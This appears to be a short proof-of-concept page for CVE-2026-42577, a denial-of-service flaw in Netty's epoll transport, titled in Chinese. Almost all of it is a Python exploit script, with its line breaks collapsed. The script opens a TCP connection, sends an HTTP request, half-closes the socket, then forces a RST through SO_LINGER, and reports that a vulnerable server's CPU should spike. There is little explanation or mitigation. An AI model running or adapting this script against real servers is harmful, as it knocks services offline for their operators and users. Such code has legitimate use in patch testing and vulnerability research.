CVE-2026-42577 Netty epoll传输DoS漏洞

import socket import struct # Target IP and Port TARGET_HOST = '127.0.0.1' TARGET_PORT = 8080 def exploit(): try: # 1. Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # 2. Send data to simulate activity s.send(b"GET / HTTP/1.1\r\nHost: " + TARGET_HOST.encode() + b"\r\n\r\n") # 3. Half-close the connection (Send FIN) # This puts the socket in FIN-WAIT-2 or CLOSE-WAIT state depending on side s.shutdown(socket.SHUT_WR) # 4. Force send RST packet # Set SO_LINGER with l_onoff=1 and l_linger=0 to send RST on close linger_payload = struct.pack('ii', 1, 0) s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, linger_payload) # 5. Close socket, triggering RST s.close() print(f"[+] Sent malicious packet sequence to {TARGET_HOST}:{TARGET_PORT}") print("[+] If vulnerable, the server CPU should spike.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()